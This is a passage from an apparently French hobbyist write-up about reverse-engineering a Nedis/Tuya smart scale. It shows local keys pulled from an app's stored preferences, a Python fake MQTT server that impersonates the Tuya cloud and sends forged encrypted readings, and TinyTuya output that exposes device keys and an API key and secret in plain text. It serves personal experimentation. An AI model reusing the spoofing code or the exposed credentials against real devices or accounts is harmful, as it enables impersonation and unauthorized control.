 emulator64_x86_64_arm64:/data/data/com.nedis.smartlife/shared_prefs # grep -r &amp;quot;localKey&amp;quot;&lt;br /&gt;
&lt;br /&gt;
./sig_mesh_storage.xml:    &amp;lt;string name=&amp;quot;sig_mesheu176237y8062605m7Ddzpr3a6d803edeb314f364c55d2caab540918&amp;quot;&amp;gt;[{&amp;amp;quot;appkey&amp;amp;quot;:&amp;amp;quot;2FC5C9F42A44F9D243F960231C370DC6&amp;amp;quot;,&amp;amp;quot;code&amp;amp;quot;:&amp;amp;quot;mebf11e37fc6632a9b44qg&amp;amp;quot;,&amp;amp;quot;endTime&amp;amp;quot;:0,&amp;amp;quot;ivIndex&amp;amp;quot;:0,&amp;amp;quot;key&amp;amp;quot;:&amp;amp;quot;mebf11e37fc6632a9b44qg&amp;amp;quot;,&amp;amp;quot;localKey&amp;amp;quot;:&amp;amp;quot;674d29fb978a1705&amp;amp;quot;,&amp;amp;quot;meshId&amp;amp;quot;:&amp;amp;quot;mebf11e37fc6632a9b44qg&amp;amp;quot;,&amp;amp;quot;meshKey&amp;amp;quot;:&amp;amp;quot;2FC5C9F42A44F9D243F960231C370DC6&amp;amp;quot;,&amp;amp;quot;meshkey&amp;amp;quot;:&amp;amp;quot;2FC5C9F42A44F9D243F960231C370DC6&amp;amp;quot;,&amp;amp;quot;name&amp;amp;quot;:&amp;amp;quot;D8FBEEA2F2B93F4B63EFD7DA83424BA9&amp;amp;quot;,&amp;amp;quot;netWorkkey&amp;amp;quot;:&amp;amp;quot;D8FBEEA2F2B93F4B63EFD7DA83424BA9&amp;amp;quot;,&amp;amp;quot;password&amp;amp;quot;:&amp;amp;quot;fa1667ca872e46d4&amp;amp;quot;,&amp;amp;quot;pv&amp;amp;quot;:&amp;amp;quot;2.1&amp;amp;quot;,&amp;amp;quot;resptime&amp;amp;quot;:0,&amp;amp;quot;share&amp;amp;quot;:false,&amp;amp;quot;startTime&amp;amp;quot;:0,&amp;amp;quot;tempShare&amp;amp;quot;:false}]&amp;lt;/string&amp;gt; &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Je vais apprendre plus tard que cette clé est une clé qui permet de sécuriser l'échange Bluetooth entre la balance et le téléphone lors de la première connexion. Mais avant de le savoir, j'ai tenté d'améliorer le faux serveur avec cette clé.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
import socket&lt;br /&gt;
import ssl&lt;br /&gt;
import time&lt;br /&gt;
import json&lt;br /&gt;
import struct&lt;br /&gt;
import base64&lt;br /&gt;
import hashlib&lt;br /&gt;
from Crypto.Cipher import AES&lt;br /&gt;
from Crypto.Util.Padding import pad&lt;br /&gt;
&lt;br /&gt;
# ================= CONFIG =================&lt;br /&gt;
CERT_FILE = &amp;quot;/etc/ssl/apache/ssl/tuya.crt&amp;quot;&lt;br /&gt;
KEY_FILE  = &amp;quot;/etc/ssl/apache/ssl/tuya.key&amp;quot;&lt;br /&gt;
PORT = 8883&lt;br /&gt;
&lt;br /&gt;
# LOCAL KEY 16 caractères&lt;br /&gt;
LOCAL_KEY = b&amp;quot;674d29fb978a1705&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# DPS balance (poids correct pour Nedis)&lt;br /&gt;
DPS_POIDS = {&lt;br /&gt;
    &amp;quot;1&amp;quot;: 8050,   # 80.50 kg&lt;br /&gt;
    &amp;quot;2&amp;quot;: 1,      # stable&lt;br /&gt;
    &amp;quot;3&amp;quot;: &amp;quot;kg&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
# =========================================&lt;br /&gt;
&lt;br /&gt;
# ---------- TUYA CRYPTO ----------&lt;br /&gt;
def tuya_encrypt(data: dict, local_key: bytes) -&amp;gt; str:&lt;br /&gt;
    raw = json.dumps(data, separators=(',', ':')).encode()&lt;br /&gt;
    cipher = AES.new(local_key, AES.MODE_ECB)&lt;br /&gt;
    encrypted = cipher.encrypt(pad(raw, 16))&lt;br /&gt;
    return base64.b64encode(encrypted).decode()&lt;br /&gt;
&lt;br /&gt;
def tuya_sign(enc_data: str, ts: int, local_key: bytes) -&amp;gt; str:&lt;br /&gt;
    s = f&amp;quot;data={enc_data}&amp;amp;t={ts}&amp;amp;key={local_key.decode()}&amp;quot;&lt;br /&gt;
    return hashlib.md5(s.encode()).hexdigest()&lt;br /&gt;
&lt;br /&gt;
def build_tuya_payload(dps: dict, device_id: str) -&amp;gt; dict:&lt;br /&gt;
    ts = int(time.time())&lt;br /&gt;
    enc = tuya_encrypt({&lt;br /&gt;
        &amp;quot;devId&amp;quot;: device_id,&lt;br /&gt;
        &amp;quot;dps&amp;quot;: dps&lt;br /&gt;
    }, LOCAL_KEY)&lt;br /&gt;
    sign = tuya_sign(enc, ts, LOCAL_KEY)&lt;br /&gt;
    return {&lt;br /&gt;
        &amp;quot;protocol&amp;quot;: 4,&lt;br /&gt;
        &amp;quot;t&amp;quot;: ts,&lt;br /&gt;
        &amp;quot;data&amp;quot;: enc,&lt;br /&gt;
        &amp;quot;sign&amp;quot;: sign&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
def extract_device_id(topic: str) -&amp;gt; str:&lt;br /&gt;
    return topic.split(&amp;quot;/&amp;quot;)[-1]&lt;br /&gt;
&lt;br /&gt;
# ---------- MQTT UTILS ----------&lt;br /&gt;
def encode_remaining_length(length):&lt;br /&gt;
    out = bytearray()&lt;br /&gt;
    while True:&lt;br /&gt;
        byte = length % 128&lt;br /&gt;
        length //= 128&lt;br /&gt;
        if length &amp;gt; 0:&lt;br /&gt;
            byte |= 0x80&lt;br /&gt;
        out.append(byte)&lt;br /&gt;
        if length == 0:&lt;br /&gt;
            break&lt;br /&gt;
    return out&lt;br /&gt;
&lt;br /&gt;
def create_mqtt_packet(pkt_type, flags, payload):&lt;br /&gt;
    header = bytes([(pkt_type &amp;lt;&amp;lt; 4) | flags])&lt;br /&gt;
    return header + encode_remaining_length(len(payload)) + payload&lt;br /&gt;
&lt;br /&gt;
# ---------- SERVER ----------&lt;br /&gt;
def start_server():&lt;br /&gt;
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)&lt;br /&gt;
    context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)&lt;br /&gt;
&lt;br /&gt;
    sock = socket.socket()&lt;br /&gt;
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
    sock.bind((&amp;quot;0.0.0.0&amp;quot;, PORT))&lt;br /&gt;
    sock.listen(5)&lt;br /&gt;
&lt;br /&gt;
    print(f&amp;quot;[*] Serveur MQTT TLS Tuya prêt sur {PORT}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    published_topics = set()&lt;br /&gt;
&lt;br /&gt;
    while True:&lt;br /&gt;
        client, addr = sock.accept()&lt;br /&gt;
        print(f&amp;quot;\n[+] Connexion de {addr[0]}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        try:&lt;br /&gt;
            conn = context.wrap_socket(client, server_side=True)&lt;br /&gt;
            print(&amp;quot;TLS OK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
            while True:&lt;br /&gt;
                header = conn.recv(1)&lt;br /&gt;
                if not header:&lt;br /&gt;
                    break&lt;br /&gt;
&lt;br /&gt;
                pkt_type = header[0] &amp;gt;&amp;gt; 4&lt;br /&gt;
&lt;br /&gt;
                # Remaining length&lt;br /&gt;
                multiplier = 1&lt;br /&gt;
                remaining_len = 0&lt;br /&gt;
                while True:&lt;br /&gt;
                    b = conn.recv(1)[0]&lt;br /&gt;
                    remaining_len += (b &amp;amp; 127) * multiplier&lt;br /&gt;
                    multiplier *= 128&lt;br /&gt;
                    if not (b &amp;amp; 128):&lt;br /&gt;
                        break&lt;br /&gt;
&lt;br /&gt;
                payload = b&amp;quot;&amp;quot;&lt;br /&gt;
                while len(payload) &amp;lt; remaining_len:&lt;br /&gt;
                    payload += conn.recv(remaining_len - len(payload))&lt;br /&gt;
&lt;br /&gt;
                # -------- HANDLERS --------&lt;br /&gt;
                if pkt_type == 1:  # CONNECT&lt;br /&gt;
                    print(&amp;quot;&amp;gt;&amp;gt;&amp;gt; CONNECT&amp;quot;)&lt;br /&gt;
                    conn.send(b&amp;quot;\x20\x02\x00\x00&amp;quot;)  # CONNACK OK&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 8:  # SUBSCRIBE&lt;br /&gt;
                    msg_id = payload[0:2]&lt;br /&gt;
                    topic_len = struct.unpack(&amp;quot;!H&amp;quot;, payload[2:4])[0]&lt;br /&gt;
                    topic = payload[4:4+topic_len].decode(errors=&amp;quot;ignore&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    print(f&amp;quot;&amp;gt;&amp;gt;&amp;gt; SUBSCRIBE : {topic}&amp;quot;)&lt;br /&gt;
                    conn.send(create_mqtt_packet(9, 0x00, msg_id + b&amp;quot;\x01&amp;quot;))  # SUBACK QoS 1&lt;br /&gt;
&lt;br /&gt;
                    # Publication automatique&lt;br /&gt;
                    device_id = extract_device_id(topic)&lt;br /&gt;
                    tuya_payload = build_tuya_payload(DPS_POIDS, device_id)&lt;br /&gt;
                    json_payload = json.dumps(tuya_payload)&lt;br /&gt;
&lt;br /&gt;
                    topic_bytes = topic.encode()&lt;br /&gt;
                    var_header = struct.pack(&amp;quot;!H&amp;quot;, len(topic_bytes)) + topic_bytes&lt;br /&gt;
                    packet_payload = var_header + json_payload.encode()&lt;br /&gt;
&lt;br /&gt;
                    # PUBLISH QoS 1&lt;br /&gt;
                    packet = create_mqtt_packet(3, 0x02, packet_payload)&lt;br /&gt;
                    time.sleep(0.5)&lt;br /&gt;
                    conn.send(packet)&lt;br /&gt;
                    print(&amp;quot;POIDS TUYA CHIFFRÉ ENVOYÉ&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 4:  # PUBACK&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; PUBACK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 10:  # UNSUBSCRIBE&lt;br /&gt;
                    msg_id = payload[0:2]&lt;br /&gt;
                    conn.send(create_mqtt_packet(11, 0x00, msg_id))&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; UNSUBACK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 12:  # PINGREQ&lt;br /&gt;
                    conn.send(b&amp;quot;\xd0\x00&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                else:&lt;br /&gt;
                    print(f&amp;quot;MQTT type {pkt_type} ignoré&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        except Exception as e:&lt;br /&gt;
            print(f&amp;quot;Erreur : {e}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        finally:&lt;br /&gt;
            try:&lt;br /&gt;
                conn.close()&lt;br /&gt;
            except:&lt;br /&gt;
                pass&lt;br /&gt;
&lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
    start_server()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Je pense que pour faire fonctionner cette méthode, il faut absolument que je trouve la clé qui crypte le message pour que Nedis l'accepte quand il le reçoit&lt;br /&gt;
&lt;br /&gt;
J'ai donc cherché dans cette direction et j'ai découvert deux choses. &lt;br /&gt;
&lt;br /&gt;
Premièrement, TinyTuya, une API Python pour les appareils intelligents Tuya (génial, Nedis utilise Tuya) WiFi utilisant une connexion directe au réseau local (LAN) ou le cloud (API TuyaCloud). TinyTuya permet entre autre de récupérer la fameuse clé.&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'ai découvert la plateforme IOT de Tuya qui permet, en connectant son application de téléphone sur le site, de jouer avec ses appareils Tuya pour une connexion avec Home Assisant ou encore ... TinyTuya !&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Spoiler alerte: J'ai du changer d'application et cette application ne tape plus sur la même adresse. Elle tape sur XX-eu.lifeaiot.com il a donc fallu refaire une redirection vers notre serveur pour ces nouvelles adresses.&lt;br /&gt;
&lt;br /&gt;
Spoiler alerte: j'ai la clé. Je parle plus de TinyTuya dans la prochaine partie car même avec cette clé, ce faux serveur ne marche pas. Je vais donc tenter d'autres pistes.&lt;br /&gt;
&lt;br /&gt;
== TinyTuya ==&lt;br /&gt;
Dans cette partie, nous allons tenter de connecter notre balance à notre faux serveur en utilisant l'utilitaire TinyTuya. Le but est de récupérer le poids de l'utilisateur de la balance lorsqu'il se pèse.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps il a fallu connecter l'appli à la platforme IOT de Tuya. L'application &amp;quot;Nedis Smartlife&amp;quot; de Nedis, qui utilise bien la même base que l'application Smartlife de Tuya (oui oui c'est le même nom…) ne veux pas se connecter à la plateforme pour une raison inexplicable (et au vu du nombre de forum qui parle du sujet, je ne suis pas le seul).&lt;br /&gt;
&lt;br /&gt;
J'ai donc du connecter ma balance sur l'appli Smartlife qui a bien voulu se connecter à la plateforme.&lt;br /&gt;
&lt;br /&gt;
Cela me permet de récupérer avec TinyTuya les périphériques&lt;br /&gt;
&lt;br /&gt;
Et je vais maintenant tenter d'expliquer le fonctionnement de TinyTuya étape par étape…&lt;br /&gt;
&lt;br /&gt;
Déjà pourquoi connecter l'application avec la plateforme IOT de Tuya --&amp;gt; Cela permet à l'appli de récupérer les appareils connectés de mon application, elle va générer un ID et une clé.&lt;br /&gt;
&lt;br /&gt;
Et comment faire pour que TinyTuya est accès aux appareils --&amp;gt; grâce à la commande &amp;lt;code&amp;gt;python -m tinytuya wizard&amp;lt;/code&amp;gt; qui va prendre l'ID et la clé pour récupérer les appareils. &lt;br /&gt;
&lt;br /&gt;
Ensuite la commande suivante va permettre à TinyTuya de détecter nos appareils qui sont effectivement connecté à notre réseau :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
(test) root@SE5:~/py_file# python3 -m tinytuya devices &lt;br /&gt;
TinyTuya (Tuya device scanner) [1.17.4] Loaded devices.json - 1 devices: Device Listing [     &lt;br /&gt;
{         &lt;br /&gt;
&amp;quot;name&amp;quot;: &amp;quot;P\u00e8se pas que des personnes&amp;quot;,         &lt;br /&gt;
&amp;quot;id&amp;quot;: &amp;quot;84853100a4e57c162d4c&amp;quot;,         &lt;br /&gt;
&amp;quot;key&amp;quot;: &amp;quot;V[z^Gr|qekh]9z_&amp;gt;&amp;quot;,         &lt;br /&gt;
&amp;quot;mac&amp;quot;: &amp;quot;a4:e5:7c:16:2d:4c&amp;quot;,         &lt;br /&gt;
&amp;quot;uuid&amp;quot;: &amp;quot;84853100a4e57c162d4c&amp;quot;,         &lt;br /&gt;
&amp;quot;sn&amp;quot;: &amp;quot;10003702800241&amp;quot;,         &lt;br /&gt;
&amp;quot;category&amp;quot;: &amp;quot;qt&amp;quot;,         &lt;br /&gt;
&amp;quot;product_name&amp;quot;: &amp;quot;Personal Scale&amp;quot;,         &lt;br /&gt;
&amp;quot;product_id&amp;quot;: &amp;quot;arjciqapuueq9cvt&amp;quot;,         &lt;br /&gt;
&amp;quot;biz_type&amp;quot;: 18,         &lt;br /&gt;
&amp;quot;model&amp;quot;: &amp;quot;WIFIHS10WT&amp;quot;,         &lt;br /&gt;
&amp;quot;sub&amp;quot;: false,         &lt;br /&gt;
&amp;quot;icon&amp;quot;: &amp;quot;https://images.tuyaeu.com/smart/icon/ay1513237774906SMBA3/1652104387fa2f735a389.png&amp;quot;,         &lt;br /&gt;
&amp;quot;mapping&amp;quot;: {}     } ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et la, magie, on obtient la clé de la balance, on va pouvoir enfin récupérer le poids de notre utilisateur grâce à ce code python qui écoute la balance:&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
import tinytuya&lt;br /&gt;
&lt;br /&gt;
DEVICE_ID = '84853100a4e57c162d4c'&lt;br /&gt;
IP_ADDRESS = '172.16.10.105'&lt;br /&gt;
LOCAL_KEY = 'V[z^Gr|qekh]9z_&amp;gt;'&lt;br /&gt;
&lt;br /&gt;
# Connexion à l'appareil&lt;br /&gt;
d = tinytuya.Device(DEVICE_ID, IP_ADDRESS, LOCAL_KEY)&lt;br /&gt;
&lt;br /&gt;
d.set_version(3.3)&lt;br /&gt;
&lt;br /&gt;
# Récupérer le statut&lt;br /&gt;
data = d.status() &lt;br /&gt;
print(&amp;quot;Statut complet :&amp;quot;, data)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Évidemment cela ne fonctionne pas. Et pourquoi ? Et bien si l'on regarde dans le bloc &amp;lt;code&amp;gt;python3 -m tinytuya devices TinyTuya&amp;lt;/code&amp;gt; on observe que le champs mapping est vide. Ce champs est censé afficher toute les données que TinyTuya est censé pouvoir récupérer … et il est vide …&lt;br /&gt;
&lt;br /&gt;
Soit je suis à l'origine de ce problème, soit TinyTuya ne permet de changer nous ampoules connecté en rouge si la balance affiche que notre objectif de poids est dépassé …&lt;br /&gt;
&lt;br /&gt;
Affaire à suivre.&lt;br /&gt;
&lt;br /&gt;
TODO : ne marche pas en local ? tenter d'enlever la redirection&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
(test) root@SE5:~/py_file# python3 -m tinytuya wizard -force&lt;br /&gt;
TinyTuya Setup Wizard [1.17.4]&lt;br /&gt;
&lt;br /&gt;
    Existing settings:&lt;br /&gt;
        API Key=g5wufknjhcwqkkpsrgug &lt;br /&gt;
        Secret=edac1effd9374f50b6c61ddd2ea1e734&lt;br /&gt;
        DeviceID=84853100a4e57c162d4c&lt;br /&gt;
        Region=eu&lt;br /&gt;
&lt;br /&gt;
    Use existing credentials (Y/n): &lt;br /&gt;
&lt;br /&gt;
Download DP Name mappings? (Y/n): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Device Listing&lt;br /&gt;
&lt;br /&gt;
[&lt;br /&gt;
    {&lt;br /&gt;
        &amp;quot;name&amp;quot;: &amp;quot;D\u00e9tecteur de fum\u00e9e&amp;quot;,&lt;br /&gt;
        &amp;quot;id&amp;quot;: &amp;quot;86730270483fda3155d0&amp;quot;,&lt;br /&gt;
        &amp;quot;key&amp;quot;: &amp;quot;r@fAdR'PW~0O`v5@&amp;quot;,&lt;br /&gt;
        &amp;quot;mac&amp;quot;: &amp;quot;48:3f:da:31:55:d0&amp;quot;,&lt;br /&gt;
        &amp;quot;uuid&amp;quot;: &amp;quot;86730270483fda3155d0&amp;quot;,&lt;br /&gt;
        &amp;quot;sn&amp;quot;: &amp;quot;1000716370419B&amp;quot;,&lt;br /&gt;
        &amp;quot;category&amp;quot;: &amp;quot;ywbj&amp;quot;,&lt;br /&gt;
        &amp;quot;product_name&amp;quot;: &amp;quot;Smoke detector&amp;quot;,&lt;br /&gt;
        &amp;quot;product_id&amp;quot;: &amp;quot;inwnovped8h5aoaw&amp;quot;,&lt;br /&gt;
        &amp;quot;biz_type&amp;quot;: 18,&lt;br /&gt;
        &amp;quot;model&amp;quot;: &amp;quot;WIFIDS20WT&amp;quot;,&lt;br /&gt;
        &amp;quot;sub&amp;quot;: false,&lt;br /&gt;
        &amp;quot;icon&amp;quot;: &amp;quot;https://images.tuyaeu.com/smart/icon/ay1513237774906SMBA3/651af99cad24017128e3dc2322461ae5.png&amp;quot;,&lt;br /&gt;
        &amp;quot;mapping&amp;quot;: {&lt;br /&gt;
            &amp;quot;1&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;smoke_sensor_status&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Enum&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {&lt;br /&gt;
                    &amp;quot;range&amp;quot;: [&lt;br /&gt;
                        &amp;quot;alarm&amp;quot;,&lt;br /&gt;
                        &amp;quot;normal&amp;quot;&lt;br /&gt;
                    ]&lt;br /&gt;
                }&lt;br /&gt;
            },&lt;br /&gt;
            &amp;quot;14&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;battery_state&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Enum&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {&lt;br /&gt;
                    &amp;quot;range&amp;quot;: [&lt;br /&gt;
                        &amp;quot;low&amp;quot;,&lt;br /&gt;
                        &amp;quot;middle&amp;quot;,&lt;br /&gt;
                        &amp;quot;high&amp;quot;&lt;br /&gt;
                    ]&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    },&lt;br /&gt;
    {&lt;br /&gt;
        &amp;quot;name&amp;quot;: &amp;quot;P\u00e8se pas que des personnes&amp;quot;,&lt;br /&gt;
        &amp;quot;id&amp;quot;: &amp;quot;84853100a4e57c162d4c&amp;quot;,&lt;br /&gt;
        &amp;quot;key&amp;quot;: &amp;quot;V[z^Gr|qekh]9z_&amp;gt;&amp;quot;,&lt;br /&gt;
        &amp;quot;mac&amp;quot;: &amp;quot;a4:e5:7c:16:2d:4c&amp;quot;,&lt;br /&gt;
        &amp;quot;uuid&amp;quot;: &amp;quot;84853100a4e57c162d4c&amp;quot;,&lt;br /&gt;
        &amp;quot;sn&amp;quot;: &amp;quot;10003702800241&amp;quot;,&lt;br /&gt;
        &amp;quot;category&amp;quot;: &amp;quot;qt&amp;quot;,&lt;br /&gt;
        &amp;quot;product_name&amp;quot;: &amp;quot;Personal Scale&amp;quot;,&lt;br /&gt;
        &amp;quot;product_id&amp;quot;: &amp;quot;arjciqapuueq9cvt&amp;quot;,&lt;br /&gt;
        &amp;quot;biz_type&amp;quot;: 18,&lt;br /&gt;
        &amp;quot;model&amp;quot;: &amp;quot;WIFIHS10WT&amp;quot;,&lt;br /&gt;
        &amp;quot;sub&amp;quot;: false,&lt;br /&gt;
        &amp;quot;icon&amp;quot;: &amp;quot;https://images.tuyaeu.com/smart/icon/ay1513237774906SMBA3/1652104387fa2f735a389.png&amp;quot;,&lt;br /&gt;
        &amp;quot;mapping&amp;quot;: {}&lt;br /&gt;
    }&lt;br /&gt;
]&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&amp;gt; Saving list to devices.json&lt;br /&gt;
    2 registered devices saved&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&amp;gt; Saving raw TuyaPlatform response to tuya-raw.json&lt;br /&gt;
&lt;br /&gt;
Poll local devices? (Y/n): &lt;br /&gt;
&lt;br /&gt;
Scanning local network for Tuya devices...&lt;br /&gt;
Scan network 172.16.10.0/24 from interface eth0? ([Y]es/[n]o/[a]ll yes): &lt;br /&gt;
Scan network 172.26.145.0/24 from interface eth1? ([Y]es/[n]o/[a]ll yes): n&lt;br /&gt;
Scan network 172.26.145.0/24 from interface eth1? ([Y]es/[n]o/[a]ll yes): n&lt;br /&gt;
    0 local devices discovered                                   &lt;br /&gt;
&lt;br /&gt;
Polling local devices...&lt;br /&gt;
    [Détecteur de fumée       ] Error: No IP found&lt;br /&gt;
    [Pèse pas que des personne] Error: No IP found&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&amp;gt; Saving device snapshot data to snapshot.json&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Done.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
(test) root@SE5:~/py_file# python3 -m tinytuya wizard&lt;br /&gt;
TinyTuya Setup Wizard [1.17.4]&lt;br /&gt;
&lt;br /&gt;
    Existing settings:&lt;br /&gt;
        API Key=g5wufknjhcwqkkpsrgug &lt;br /&gt;
        Secret=edac1effd9374f50b6c61ddd2ea1e734&lt;br /&gt;
        DeviceID=84853100a4e57c162d4c&lt;br /&gt;
        Region=eu&lt;br /&gt;
&lt;br /&gt;
    Use existing credentials (Y/n): n&lt;br /&gt;
&lt;br /&gt;
    Enter API Key from tuya.com: g5wufknjhcwqkkpsrgug&lt;br /&gt;
    Enter API Secret from tuya.com: edac1effd9374f50b6c61ddd2ea1e734&lt;br /&gt;
    Enter any Device ID currently registered in Tuya App (used to pull full list) or 'scan' to scan for one: bf85da6b2eccef5784rydz&lt;br /&gt;
&lt;br /&gt;
      Region List&lt;br /&gt;
        cn	China Data Center (alias: AY)&lt;br /&gt;
        us	US - Western America Data Center (alias: AZ)&lt;br /&gt;
        us-e	US - Eastern America Data Center (alias: UE)&lt;br /&gt;
        eu	Central Europe Data Center&lt;br /&gt;
        eu-w	Western Europe Data Center (alias: WE)&lt;br /&gt;
        in	India Data Center&lt;br /&gt;
        sg	Singapore Data Center&lt;br /&gt;
&lt;br /&gt;
    Enter Your Region (Options: cn, us, us-e, eu, eu-w, in, or sg): eu&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&amp;gt; Configuration Data Saved to tinytuya.json&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;apiKey&amp;quot;: &amp;quot;g5wufknjhcwqkkpsrgug&amp;quot;,&lt;br /&gt;
    &amp;quot;apiSecret&amp;quot;: &amp;quot;edac1effd9374f50b6c61ddd2ea1e734&amp;quot;,&lt;br /&gt;
    &amp;quot;apiRegion&amp;quot;: &amp;quot;eu&amp;quot;,&lt;br /&gt;
    &amp;quot;apiDeviceID&amp;quot;: &amp;quot;bf85da6b2eccef5784rydz&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
Download DP Name mappings? (Y/n): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Device Listing&lt;br /&gt;
&lt;br /&gt;
[&lt;br /&gt;
    {&lt;br /&gt;
        &amp;quot;name&amp;quot;: &amp;quot;Ampoule Connect\u00e9e&amp;quot;,&lt;br /&gt;
        &amp;quot;id&amp;quot;: &amp;quot;bf85da6b2eccef5784rydz&amp;quot;,&lt;br /&gt;
        &amp;quot;key&amp;quot;: &amp;quot;ZO:}y#{'gM.QuI|T&amp;quot;,&lt;br /&gt;
        &amp;quot;mac&amp;quot;: &amp;quot;10:5a:17:a9:b5:6f&amp;quot;,&lt;br /&gt;
        &amp;quot;uuid&amp;quot;: &amp;quot;b73f1a854ac4219e&amp;quot;,&lt;br /&gt;
        &amp;quot;sn&amp;quot;: &amp;quot;830-2-20148D&amp;quot;,&lt;br /&gt;
        &amp;quot;category&amp;quot;: &amp;quot;dj&amp;quot;,&lt;br /&gt;
        &amp;quot;product_name&amp;quot;: &amp;quot;Smart bulb&amp;quot;,&lt;br /&gt;
        &amp;quot;product_id&amp;quot;: &amp;quot;mdzqw8qjfzfdjz9n&amp;quot;,&lt;br /&gt;
        &amp;quot;biz_type&amp;quot;: 18,&lt;br /&gt;
        &amp;quot;model&amp;quot;: &amp;quot;WIFILRW10E27&amp;quot;,&lt;br /&gt;
        &amp;quot;sub&amp;quot;: false,&lt;br /&gt;
        &amp;quot;icon&amp;quot;: &amp;quot;https://images.tuyaeu.com/smart/icon/ay1513237774906SMBA3/9a70929a5f5c1855c1c091ab404b8319.png&amp;quot;,&lt;br /&gt;
        &amp;quot;mapping&amp;quot;: {&lt;br /&gt;
            &amp;quot;20&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;switch_led&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Boolean&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {}&lt;br /&gt;
            },&lt;br /&gt;
            &amp;quot;21&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;work_mode&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Enum&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {&lt;br /&gt;
                    &amp;quot;range&amp;quot;: [&lt;br /&gt;
                        &amp;quot;white&amp;quot;,&lt;br /&gt;
                        &amp;quot;colour&amp;quot;,&lt;br /&gt;
                        &amp;quot;scene&amp;quot;,&lt;br /&gt;
                        &amp;quot;music&amp;quot;&lt;br /&gt;
                    ]&lt;br /&gt;
                }&lt;br /&gt;
            },&lt;br /&gt;
            &amp;quot;22&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;bright_value_v2&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Integer&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {&lt;br /&gt;
                    &amp;quot;min&amp;quot;: 10,&lt;br /&gt;
                    &amp;quot;max&amp;quot;: 1000,&lt;br /&gt;
                    &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                    &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                }&lt;br /&gt;
            },&lt;br /&gt;
            &amp;quot;23&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;temp_value_v2&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Integer&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {&lt;br /&gt;
                    &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                    &amp;quot;max&amp;quot;: 1000,&lt;br /&gt;
                    &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                    &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                }&lt;br /&gt;
            },&lt;br /&gt;
            &amp;quot;25&amp;quot;: {&lt;br /&gt;
